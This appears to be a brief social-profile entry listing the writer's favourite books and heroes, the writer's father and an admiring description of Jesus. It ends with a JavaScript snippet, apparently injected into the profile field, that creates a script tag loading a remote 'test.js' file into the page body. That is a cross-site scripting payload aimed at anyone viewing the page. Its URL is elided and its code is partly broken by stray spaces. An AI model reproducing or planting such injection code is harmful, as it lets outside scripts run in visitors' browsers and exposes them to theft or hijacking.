Books:

Hare Krishna philosophy, The Bible, hardcore zines,

Heroes:

My dad. Jesus, cuz he was hard, he went around talkin gibberish and everyone thought he was crazy, he had the balls to tell people about his cause, meet any consequence for his beliefs, and die for his cause, now thats a real soldier. ...."var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /
